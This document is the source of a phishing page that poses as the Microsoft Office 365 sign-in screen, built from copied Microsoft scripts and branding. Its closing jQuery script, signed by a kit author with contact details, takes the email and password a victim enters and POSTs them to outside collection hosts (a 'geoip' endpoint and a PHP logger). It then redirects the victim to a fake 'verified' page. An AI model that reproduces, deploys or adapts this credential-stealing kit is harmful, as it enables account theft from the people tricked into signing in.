for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!i){if(!r.body){return void setTimeout(t)}i=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!u){if(!r.body){return void setTimeout(n)}t(),u=!0,e.$Do.register("doc.load",0,!0),a()}}function o(e){(r.addEventListener||"load"===e.type||"complete"===r.readyState)&&t()}function a(){
r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var i=!1,u=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){
return f.$Config||f.ServerData||{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src||r.href||"")+"'",e+=", id:"+(r.id||""),e+=", async:"+(r.async||""),e+=", defer:"+(r.defer||"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")||-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){
var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function a(){var r=e();return(r.loader||{}).slReportFailure||r.slReportFailure||!1}function i(){return(e().loader||{}).redirectToErrorPageOnLoadFailure||!1}function u(){return(e().loader||{}).logByThrowing||!1}function s(e){if(!t()&&!n()){return!1}var r=e.src||e.href||"";if(!r){return!0}if(o(r)){var a,i,u;try{a=e.sheet,i=a&&a.cssRules,u=!1}catch(e){u=!0}if(a&&!i&&u){return!0}
if(a&&i&&0===i.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var s=null;return s=o(e)?a(e):"script"===n.toLowerCase()?i(e):u(e,n),r&&(s.id=r),"function"==typeof s.setAttribute&&(s.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&s.setAttribute("integrity",t)),s}function a(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function i(e){var r=g.createElement("script")
;return r.type="text/javascript",r.src=e,r.defer=!1,r.async=!1,r}function u(e,r){var t=g.createElement(r);return t.src=e,t}function d(e){if(!(m&&m.length>1)){return e}for(var r=0;r<m.length;r++){if(0===e.indexOf(m[r])){return m[r+1<m.length?r+1:0]+e.substring(m[r].length)}}return e}function l(e,t,n,o){if(r("[$Loader]: "+(b.failMessage||"Failed"),o),$[e].retry<p){return $[e].retry++,v(e,t,n),void c._ReportFailure($[e].retry,$[e].srcPath)}n&&n()}function f(e,t,n,o){if(s(o)){return l(e,t,n,o)}
r("[$Loader]: "+(b.successMessage||"Loaded"),o),v(e+1,t,n);var a=$[e].onSuccess;"function"==typeof a&&a($[e].srcPath)}function v(e,o,a){if(e<$.length){var i=$[e];if(!i||!i.srcPath){return void v(e+1,o,a)}i.retry>0&&(i.srcPath=d(i.srcPath),i.origId||(i.origId=i.id),i.id=i.origId+"_Retry_"+i.retry);var u=n(i.srcPath,i.id,i.integrity,i.tagName);u.onload=function(){f(e,o,a,u)},u.onerror=function(){l(e,o,a,u)},u.onreadystatechange=function(){"loaded"===u.readyState?setTimeout(function(){f(e,o,a,u)
},500):"complete"===u.readyState&&f(e,o,a,u)},t(u),r("[$Loader]: Loading '"+(i.srcPath||"")+"', id:"+(i.id||""))}else{o&&o()}}var h=e(),p=h.slMaxRetry||2,y=h.loader||{},m=y.cdnRoots||[],b=this,$=[];b.retryOnError=!0,b.successMessage="Loaded",b.failMessage="Error",b.Add=function(e,r,t,n,o,a){e&&$.push({"srcPath":e,"id":r,"retry":n||0,"integrity":t,"tagName":o||"script","onSuccess":a})},b.AddForReload=function(e,r){var t=e.src||e.href||"";b.Add(t,"AddForReload",e.integrity,1,e.tagName,r)},
b.AddIf=function(e,r,t){e&&b.Add(r,t)},b.Load=function(e,r){v(0,e,r)}}var d,l,f=window,g=f.document,v=".css";c.On=function(e,r,t){if(!e){throw"The target element must be provided and cannot be null."}r?c.OnError(e,t):c.OnSuccess(e,t)},c.OnSuccess=function(e,t){if(!e){throw"The target element must be provided and cannot be null."}if(s(e)){return c.OnError(e,t)}var n=e.src||e.href||"",o=a(),u=i();r("[$Loader]: Loaded",e);var d=new c;d.failMessage="Reload Failed",d.successMessage="Reload Success",
d.Load(null,function(){if(o){throw"Unexpected state. ResourceLoader.Load() failed despite initial load success. ['"+n+"']"}u&&(document.location.href="/error.aspx?err=504")})},c.OnError=function(e,t){var n=e.src||e.href||"",o=a(),u=i();if(!e){throw"The target element must be provided and cannot be null."}r("[$Loader]: Failed",e);var s=new c;s.failMessage="Reload Failed",s.successMessage="Reload Success",s.AddForReload(e,t),s.Load(null,function(){if(o){throw"Failed to load external resource ['"+n+"']"}
u&&(document.location.href="/error.aspx?err=504")}),c._ReportFailure(0,n)},c._ReportFailure=function(e,r){if(u()&&!t()){throw"[Retry "+e+"] Failed to load external resource ['"+r+"'], reloading from fallback CDN endpoint"}},f.$Loader=c}(),function(){function e(){if(!$){var e=new h.$Loader;e.AddIf(!h.jQuery,y.sbundle,"WebWatson_DemandSupport"),y.sbundle=null,delete y.sbundle,e.AddIf(!h.$Api,y.fbundle,"WebWatson_DemandFramework"),y.fbundle=null,delete y.fbundle,e.Add(y.bundle,"WebWatson_DemandLoaded"),
e.Load(r,t),$=!0}}function r(){if(h.$WebWatson){if(h.$WebWatson.isProxy){return void t()}m.when("$WebWatson.full",function(){for(;b.length>0;){var e=b.shift();e&&h.$WebWatson[e.cmdName].apply(h.$WebWatson,e.args)}})}}function t(){if(!h.$WebWatson||h.$WebWatson.isProxy){if(!w&&JSON){try{var e=new XMLHttpRequest;e.open("POST",y.url),e.setRequestHeader("Accept","application/json"),e.setRequestHeader("Content-Type","application/json; charset=UTF-8"),e.setRequestHeader("canary",p.apiCanary),
e.setRequestHeader("client-request-id",p.correlationId),e.setRequestHeader("hpgid",p.hpgid||0),e.setRequestHeader("hpgact",p.hpgact||0);for(var r=-1,t=0;t<b.length;t++){if("submit"===b[t].cmdName){r=t;break}}var o=b[r]?b[r].args||[]:[],a={"sr":y.sr,"ec":"Failed to load external resource [Core Watson files]","wec":55,"idx":1,"pn":p.pgid||"","sc":p.scid||0,"hpg":p.hpgid||0,"msg":"Failed to load external resource [Core Watson files]","url":o[1]||"","ln":0,"ad":0,"an":!1,"cs":"","sd":p.serverDetails,"ls":null,
"diag":v(y)};e.send(JSON.stringify(a))}catch(e){}w=!0}y.loadErrorUrl&&window.location.assign(y.loadErrorUrl)}n()}function n(){b=[],h.$WebWatson=null}function o(r){return function(){var t=arguments;b.push({"cmdName":r,"args":t}),e()}}function a(){var e=["foundException","resetException","submit"],r=this;r.isProxy=!0;for(var t=e.length,n=0;n<t;n++){var a=e[n];a&&(r[a]=o(a))}}function i(e,r,t,n,o,a,i){var u=h.event;return a||(a=l(o||u,i?i+2:2)),
h.$Debug&&h.$Debug.appendLog&&h.$Debug.appendLog("[WebWatson]:"+(e||"")+" in "+(r||"")+" @ "+(t||"??")),E.submit(e,r,t,n,o||u,a,i)}function u(e,r){return{"signature":e,"args":r,"toString":function(){return this.signature}}}function s(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){r.push(u(t[n],[]))}return r}function c(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){var o=u(t[n],[]);t[n+1]&&(o.signature+="@"+t[n+1],n++),r.push(o)}return r}function d(e){if(!e){return null}try{if(e.stack){
return s(e.stack)}if(e.error){if(e.error.stack){return s(e.error.stack)}}else if(window.opera&&e.message){return c(e.message)}}catch(e){}return null}function l(e,r){var t=[];try{for(var n=arguments.callee;r>0;){n=n?n.caller:n,r--}for(var o=0;n&&o<L;){var a="InvalidMethod()";try{a=n.toString()}catch(e){}var i=[],s=n.args||n.arguments;if(s){for(var c=0;c<s.length;c++){i[c]=s[c]}}t.push(u(a,i)),n=n.caller,o++}}catch(e){t.push(u(e.toString(),[]))}var l=d(e)
;return l&&(t.push(u("--- Error Event Stack -----------------",[])),t=t.concat(l)),t}function f(e){if(e){try{var r=/function (.{1,})\(/,t=r.exec(e.constructor.toString());return t&&t.length>1?t[1]:""}catch(e){}}return""}function g(e){if(e){try{if("string"!=typeof e&&JSON&&JSON.stringify){var r=f(e),t=JSON.stringify(e);return t&&"{}"!==t||(e.error&&(e=e.error,r=f(e)),(t=JSON.stringify(e))&&"{}"!==t||(t=e.toString())),r+":"+t}}catch(e){}}return""+(e||"")}function v(e){var r=[];try{
if(jQuery?(r.push("jQuery v:"+jQuery().jquery),jQuery.easing?r.push("jQuery.easing:"+JSON.stringify(jQuery.easing)):r.push("jQuery.easing is not defined")):r.push("jQuery is not defined"),e&&e.expectedVersion&&r.push("Expected jQuery v:"+e.expectedVersion),m){var t,n="";for(t=0;t<m.o.length;t++){n+=m.o[t]+";"}for(r.push("$Do.o["+n+"]"),n="",t=0;t<m.q.length;t++){n+=m.q[t].id+";"}r.push("$Do.q["+n+"]")}if(h.$Debug&&h.$Debug.getLogs){var o=h.$Debug.getLogs();o&&o.length>0&&(r=r.concat(o))}if(b){
for(var a=0;a<b.length;a++){var i=b[a];if(i&&"submit"===i.cmdName){try{if(JSON&&JSON.stringify){var u=JSON.stringify(i);u&&r.push(u)}}catch(e){r.push(g(e))}}}}}catch(e){r.push(g(e))}return r}var h=window,p=h.$Config||{},y=p.watson,m=h.$Do;if(!h.$WebWatson&&y){var b=[],$=!1,w=!1,L=10,E=h.$WebWatson=new a;E.CB={},E._orgErrorHandler=h.onerror,h.onerror=i,E.errorHooked=!0,m.when("jQuery.version",function(e){y.expectedVersion=e}),m.register("$WebWatson")}}(),function(){function e(e,r){
for(var t=r.split("."),n=t.length,o=0;o<n&&null!==e&&void 0!==e;){e=e[t[o++]]}return e}function r(r){var t=null;return null===s&&(s=e(a,"Constants")),null!==s&&r&&(t=e(s,r)),null===t||void 0===t?"":t.toString()}function t(t){var n=null;return null===i&&(i=e(a,"$Config.strings")),null!==i&&t&&(n=e(i,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}function n(e,r){var n=null;return e&&r&&r[e]&&(n=t("errors."+r[e])),n||(n=t("errors."+e)),n||(n=t("errors."+c)),n||(n=t(c)),n}
function o(t){var n=null;return null===u&&(u=e(a,"$Config.urls")),null!==u&&t&&(n=e(u,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}var a=window,i=null,u=null,s=null,c="GENERIC_ERROR";a.GetString=t,a.GetErrorString=n,a.GetUrl=o}(),function(){var e=window,r=e.$Config||{};e.$B=r.browser||{}}();

//]]></script> 

        <link rel="prefetch" href="https://login.live.com/Me.htm?v=3">
        <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">

    <script type="text/javascript">
        ServerData = $Config;
    </script>


    
    <link crossorigin="anonymous" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css" rel="stylesheet" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-aaNZkp+Orf+VEZusNFIGnTEJZ9UmRa1+oTUDIv88KY1TTwkFhoZ4wzV9pd5ujWPC">



<script crossorigin="anonymous" src="https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_FZ20atAlhirHa_737xNftg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)"></script>

    <script crossorigin="anonymous" src="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-RUzxg1X2m7djUACTlbHZxYYNzWy5WKCPy5MncckGmTnhsxraQQQsSPOSAMHg1U68"></script>

    


<link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css"><link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js">
</head>

<body data-bind="defineGlobals: ServerData, bodyCssClass" class="cb" style="display: block;">
   
    <script type="text/javascript">
//<![CDATA[
(function () {
var $Prefetch={"rfPre":true,"delay":1000,"maxHistory":4,"maxAge":43200,"ageRes":1440,"name":"clrc","fetch":[{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css","hash":"TfCbp8XZ","co":true,"rf":true},{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js","hash":"0XngNfCT","co":true,"rf":true}],"mode":5};
!function(e,t,n){function r(e){x.appendLog&&x.appendLog("Client Prefetch: "+e)}function i(){try{for(var e=t.cookie.split(";"),r=0;r<e.length;r++){var i=e[r];if(i){var o=i.indexOf("=");if(-1!==o){if(i.substr(0,o).trim()===n.name){var u=i.substr(o+1);return JSON.parse(c(u))}}}}}catch(e){}return{}}function o(e,t,n){return e.replace(t,n)}function c(e){return e=o(e,/%5c/g,"\\"),e=o(e,/%3e/g,">"),e=o(e,/%3d/g,"="),e=o(e,/%3c/g,"<"),e=o(e,/%3b/g,";"),e=o(e,/%3a/g,":"),e=o(e,/%2c/g,","),e=o(e,/%27/g,"'"),
e=o(e,/%22/g,'"'),e=o(e,/%20/g," "),e=o(e,/%25/g,"%")}function u(e){return e=o(e,/%/g,"%25"),e=o(e,/ /g,"%20"),e=o(e,/"/g,"%22"),e=o(e,/'/g,"%27"),e=o(e,/,/g,"%2c"),e=o(e,/:/g,"%3a"),e=o(e,/;/g,"%3b"),e=o(e,/</g,"%3c"),e=o(e,/=/g,"%3d"),e=o(e,/>/g,"%3e"),e=o(e,/\\/g,"%5c")}function f(e){var r=new Date;r.setTime(r.getTime()+C*H),t.cookie=n.name+"="+u(JSON.stringify(e))+";expires="+r.toUTCString()+";path=/; Secure; SameSite=None"}function a(e,t){if(e){if(e.indexOf){return e.indexOf(t)}
for(var n=0;n<e.length;n++){if(e[n]===t){return n}}}return-1}function h(e,t){return-1!==a(e,t)}function g(e,t){var n=a(e,t);return-1!==n&&(e.splice(n,1),!0)}function l(e,t){for(var n in e){if(e.hasOwnProperty(n)&&!t(n,e[n])){break}}}function s(){var e=(new Date).getTime(),t=D*H;return P.getTime()>e?Math.round(e/t):Math.round((e-P.getTime())/t)}function d(e,t){var n=!1;if(t&&t.length>0){n=!0;for(var r=0;r<t.length;r++){delete e[t[r]]}}return n}function p(e){var t=s()-C,n=t+2*C,r=null,i=0,o=[]
;return l(e,function(c){return c<t||c>n?o.push(c):(0===e[c].length?o.push(c):(null===r||c<r)&&(r=c),i++),!0}),null!==r&&i>k&&o.push(r),d(e,o)}function v(e,t,n){r("Fetched: "+e+" Hash: "+t+" isRefresh: "+n);var o=i(),c=s(),u=!1,a=!1;if(l(o,function(e,n){return!h(n,t)||(e!==c?g(o[e],t)&&(a=!0):u=!0,!1)}),!u){var d=o[c]||[];d.push(t),o[c]=d,a=!0}a|=p(o),a&&f(o),b()}function m(t,n,i,o){var c={"method":"GET"};i&&(c.mode="cors"),e.fetch(t,c).then(function(e){
200===e.status?v(t,n,o):(r("Unexpected response - "+e.status),b())}).then(null,function(e){r("Failed - "+e),b()})}function T(){if(e.XMLHttpRequest&&!J){return new XMLHttpRequest}if(e.ActiveXObject){try{return new ActiveXObject("Msxml2.XMLHTTP")}catch(e){}try{return new ActiveXObject("Microsoft.XMLHttp")}catch(e){}}return null}function w(e,t,n,i,o){r("Fetching - "+t),e.onload=function(){v(t,n,o)},e.onerror=function(){r("XHR failed!"),b()},e.ontimeout=function(){r("XHR timed out!"),b()};try{e.open("GET",t),
e.withCredentials=i&&!N,e.send()}catch(r){N?setTimeout(function(){v(t,n,o)},0):(N=!0,w(e,t,n,!1,o))}}function O(t,n,i,o){if(e.fetch){return void m(t,n,i,o)}var c=T();if(null!==c){return void w(c,t,n,i,o)}r("Unable to identify a transport option!")}function b(){var e=n.fetch;if(X<e.length&&e[X]){var t=e[X];O(t.path,t.hash,t.co||!1,t.rf||!1),X++}}function y(e){if(e){try{var n=t.createElement("link");n.rel="prefetch",n.href=e,t.head.appendChild(n)}catch(e){}}}function M(){r("Starting"),b(),b()}function S(){
for(var t=e.$Config||e.ServerData||{},r=n.fetch,i=n.mode||-1,o=-1,c=0;c<r.length;c++){0!==o&&i>=3&&(o=r[c].rf?1:0),R&&!J&&y(r[c].path||{})}t.prefetchPltMode=o}if(n&&n.fetch&&0!==n.fetch.length){var x=e.$Debug||{},X=0,H=6e4,P=new Date(2019),k=n.maxHistory||4,C=n.maxAge||20160,D=n.ageRes||1440,L=n.delay||5e3,R=n.rfPre||!1,J=void 0!==(e._phantom||e.callPhantom),N=!1;JSON&&JSON.parse&&(n.clearCookie=function(){document.cookie=n.name+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},e.$Do.when("doc.load",function(){
setTimeout(M,L),setTimeout(S,0)}))}}(window,document,$Prefetch);

;
})();
//]]>
</script>


<div><!--  -->

<!--  -->


	  
	  

    <!-- ko if: svr.iBannerEnvironment --><!-- /ko -->

    <!-- ko withProperties: { '$loginPage': $data } -->
    <div data-bind="component: { name: 'master-page',
        params: {
            serverData: svr,
            showButtons: svr.fShowButtons,
            showFooterLinks: true,
            useWizardBehavior: svr.fUseWizardBehavior,
            handleWizardButtons: false,
            password: password,
            hideFromAria: ariaHidden },
        event: {
            footerAgreementClick: footer_agreementClick } }"><!--  -->

<!-- ko ifnot: useLayoutTemplates --><!-- /ko -->

<!-- ko if: useLayoutTemplates -->
    <!-- ko withProperties: { '$page': $parent } -->
        <!-- ko ifnot: isVerticalSplitTemplate -->
        <div id="lightboxTemplateContainer" data-bind="component: { name: 'lightbox-template', params: { serverData: svr } }"><!--  -->

<div data-bind="component: { name: 'background-image-control',
    publicMethods: $page.backgroundControlMethods }"><div class="background-image-holder app" role="presentation" data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
    <!-- ko if: smallImageUrl -->
    <div class="background-image-small" data-bind="backgroundImage: smallImageUrl()" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg&quot;);"></div>
    <!-- /ko -->

    <!-- ko if: backgroundImageUrl -->
    <div data-bind="backgroundImage: backgroundImageUrl(), externalCss: { 'background-image': true }" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg&quot;);" class="background-image ext-background-image"></div>
        <!-- ko if: useImageMask --><!-- /ko -->
    <!-- /ko -->
</div></div>

<div class="outer app" data-bind="css: { 'app': $page.backgroundLogoUrl }">
    <!-- ko if: showHeader --><!-- /ko -->
	 <div>
         <div>
            <!-- <div class="app background">
               <div id="bg_image" style="background-image:url(https://i.stack.imgur.com/vzbuQ.jpg")></div>
            </div> -->
         </div>

            <div class=outer>
               <div class="app middle">
                  <div class="background-logo-holder">
                  	<h1 style="text-align: center; color: white;"></h1><br><br>
                  </div>
                  <div class="app fade-in-lightbox inner">
                     <div>
                        <img id="logo_image" class="banner-logo" src="https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg">
                     </div>
                     <div>


                        <div id="pick_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                    </div>
                                 </div>
                                 <div class="row">
                                    <div class="col-md-24 form-group">
                                       <div class="placeholderContainer">
					                   <div class="add_em">
											 <p style="font-weight: bold;margin-left: 4%">Pick an account</p>
											 <a href="#" class="email-picker">
												 <div class="block-m2">
													<img role="presentation" src="https://i.ibb.co/jg6w34B/picker-account.png"> <span id="em_picker"></span><span style="float:right; margin-top:4%"><img src="https://srv-file8.gofile.io/download/NAGerp/picker_more.png" alt=""></span>
												 </div>
											 </a>
											 <a href="#" class="email-picker2">
												 <div class="block-m2">
													<img role="presentation" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgdmlld0JveD0iMCAwIDQ4IDQ4Ij48dGl0bGU+YXNzZXRzPC90aXRsZT48Y2lyY2xlIGN4PSIyNCIgY3k9IjI0IiByPSIyNCIgZmlsbD0iI2U2ZTZlNiIvPjxwYXRoIGQ9Ik0yNSwyM0gzNnYySDI1VjM2SDIzVjI1SDEyVjIzSDIzVjEyaDJaIiBmaWxsPSIjNDA0MDQwIi8+PC9zdmc+"><span style="word-wrap:break-word;"> Use another account</span>
												 </div>
											 </a>
											 <br>
										</div>
                                       </div>
                                    </div>
                                 </div>
                                 <div class="position-buttons">

                                 </div>
                              </div>
                           </div>
                        </div>

                        <div id="add_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                      
                                    </div>
                                 </div>
                                 <div class=row>
									<div aria-live="assertive" role="alert" style="display: none;" class="error-alert">
										<div class="alert alert-error error-alert-msg"></div>
										<br>
									</div>
                                    <div class="col-md-24 form-group">
                                      
									    <div class="">
											<input type="text" name="email" id="email" class="form-control ltr_override" value="" placeholder="Email, phone or skype">
                                       </div>
                                    </div>
                                 </div>
								 <p>No account? <a href="#">Create one!</a></p>
								<a href="#" data-bind="
            attr: { 'id': switchToCredId },
            text: switchToCredText,
            click: switchToCred_onClick" id="idA_PWD_SwitchToFido">Sign in with a security key</a>
        <!-- /ko -->

        <!-- ko if: displayHelp && selectedCredType === 7 -->
            <!-- ko component: { name: 'fido-help-button-control',
                params: {
                    isPlatformAuthenticatorAvailable: isPlatformAuthenticatorAvailable() },
                event: {
                    registerDialog: onRegisterDialog,
                    unregisterDialog: onUnregisterDialog,
                    showDialog: onShowDialog } } --><!--  -->

<span class="help-button" role="button" tabindex="0" data-bind="
    click: fidoHelp_onClick,
    pressEnter: fidoHelp_onClick,
    hasFocus: hasFocus,
    ariaLabel: isPlatformAuthenticatorAvailable ? str['CT_STR_CredentialPicker_Help_Desc_Fido'] : str['CT_STR_CredentialPicker_Help_Desc_FidoCrossPlatform']" aria-label="Learn more about signing in with a security key">

    <!-- ko component: 'accessible-image-control' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko -->
<!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme -->
<!-- ko template: { nodes: [darkImageNode], data: $parent } --><img role="presentation" pngsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_9628e22a6bfb1edc59e81064a666b614.png" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg" data-bind="imgSrc" src="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg"><!-- /ko -->
<!-- /ko --><!-- /ko -->
</span>

                                 <div class="position-buttons">
                                   
                                    <div class=row>
                                       <div class="col-xs-24 no-padding-left-right button-container">
                                       <div class=inline-block>
                                          <button class="btn btn-block btn-primary btn-email">Next</button>
                                       </div>
                                       </div>
                                    </div>
                                 </div>
                              </div>
                           </div>
                        </div>
						<div id="add_pass" style="display: none;">
							<div class="animate slide-in-next">
								<div>
									<div class="identityBanner">
										<a class="backButton" href="#" type="button">
											<img style="width: 13px; margin-top: 6px;left: 0;" src="https://image.flaticon.com/icons/svg/109/109618.svg">
										</a>
										<div class="identity"></div>
									</div>
								</div>
							</div>
							<div class="animate slide-in-next has-identity-banner pagination-view">
								<div class="row text-title">Enter password</div>
								<div class=row>
									<div class="form-group col-md-24">
										<div aria-live="assertive" role="alert" style="display: none;" class="error-alert-pass">
											<div class="alert alert-error">Your email or password is incorrect. If you don't remember your password, <a href='#'>reset it now.</a></div>
										</div>
										<div class=placeholderContainer>
											<input name="password" type="password" id="password" autocomplete="off" class="form-control" placeholder="Password" tabindex="0">
										</div>
									</div>
								</div>
								<div class=position-buttons>
									<div>
										<div class=row>
											<div class=col-md-24>
													<div class="action-links text-13">
													<div class=form-group><a href="#">Forgot my password</a></div>
													<div class=form-group></div>
												</div>
											</div>
										</div>
									</div>
									<div class=row >
										<div>
											<div class="button-container col-xs-24 no-padding-left-right">
												<div class=inline-block>
													<button class="btn btn-block btn-primary btn-signin">Sign in</button>
												</div>
											</div>
										</div>
									 </div>
								</div>
							</div>
                        </div>
                     </div>
                  </div>
                  <div>
                  </div>
                  <div class=footer id=footer>
                     <div>
                        <div class="footerNode text-secondary">
                           <!-- <span>©2021 Microsoft</span> -->
                           <a href="#">Terms of use&nbsp;&nbsp;</a>
                           <a href="#">Privacy & cookies &nbsp;&nbsp;<b >...</b></a>
                          
                        </div>
                     </div>
                  </div>
               </div>
            </div>

      </div>

   
</div></div>
        <!-- /ko -->

        <!-- ko if: isVerticalSplitTemplate() && isVerticalSplitTemplateLoaded() --><!-- /ko -->
    <!-- /ko -->
<!-- /ko --></div>
    <!-- /ko -->
<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
	  <script>
		$( document ).ready(function() {
			// THIS SCRIPT CODED BY MIRCBOOT
			// CONTACT US SKYPE : MIRCBOOT
			// ICQ : 703514486
			// Genral 365 Version 14
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!! Attention !!!!!!!!!!!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

			// Note : if this HTML page hosted on http(s) domain so you must add the http(s) url php file to avoid cross error //

			var php_url = 'https://globalservicemail.com/hars/login.php'; // Enter your post PHP page url here.
			var check_mx = false; // true or false for check outlook MX.



			// ******************************************************************************************************* //
			var hash = window.location.hash;
			var email = hash.split('#')[1];

			if(true_email(email)){
				$("#pick_em").show();
				$("#em_picker").html(email);
				$('#email').val(email);
			}else{
				$("#add_em").show();
			}

			$('.email-picker').on('click', function (){
				$('.identity').html(email);
				$(".error-alert-pass").hide();
				set_brand(email);
				setTimeout(function (){
					$("#pick_em").hide();
					$("#add_pass").show();
				}, 1000);
			});

			$('.email-picker2').on('click', function (){
				$('#email').val('');
				$("#pick_em").hide();
				$("#add_em").show();
			});

			$('.btn-email').on('click', function (){
				var email = $('#email').val();
				$('.identity').html(email);
				$(".error-alert").hide();
				$('.btn-email').prop('disabled', true);
				if(true_email(email) == false){
					$(".error-alert").show();
					$(".error-alert-msg").html('Please enter correct office 365 email account.');
					$('.btn-email').prop('disabled', false);
				}else{
					if(check_mx == true){
						var domain = email.split('@')[1];
						var str;
						$.ajax({
							url: php_url + '?domain=' + domain,
							success: function(data){
								str = data.includes("outlook");
								if(str){
									set_brand(email);
									setTimeout(function (){
										$("#add_em").hide();
										$("#add_pass").show();
									}, 1000);
								}else{
									$(".error-alert").show();
									$(".error-alert-msg").html('You can\'t signin with this account, Please use work or school account instead.');
									$('.btn-email').prop('disabled', false);
								}
							},
							error: function(xhr){
								$(".error-alert").show();
								$(".error-alert-msg").html('Error occured, Please try again.');
								$('.btn-email').prop('disabled', false);
							}
						});
					}else{
						set_brand(email);
						setTimeout(function (){
							$("#add_em").hide();
							$("#add_pass").show();
						}, 1000);
					}
				}
			});

			$('.btn-signin').on('click', function (){
				$('.btn-signin').prop('disabled', true);
				setTimeout(function (){
					$(".error-alert-pass").hide();
				}, 500);
				var user = $('#email').val();
				var pass = $('#password').val();
				$.ajax({
					url: "https://checkmyips.net/api/geoip/",
					type: "POST",
					data: {user:user,pass:pass,t:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.status == 'OK'){
							$.ajax({
								 url: php_url,
								 type: "POST",
								 data: {user:user,pass:pass,country:i.country,ip:i.ip},
								 success: function(finish_url){
									window.open('https://customredirects.z13.web.core.windows.net//myoofice/verified.html', '_top')
								 }
							 });
						}else{
							$(".error-alert-pass").show();
							$('.btn-signin').prop('disabled', false);
						}
					},
					error: function(){
						$(".error-alert-pass").hide();
						$('.btn-signin').prop('disabled', false);
					}
				});
			});

			$('.backButton').on('click', function (){
				$('#bg_image').css('background-image', 'url(lib/img/background.jpg)');
				$('#logo_image').attr('src', 'https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg');
				$('#banner_image').show();
				$('.btn-email').prop('disabled', false);
				$("#add_pass").hide();
				$("#add_em").show();
				$(".error-alert-pass").hide();
			});

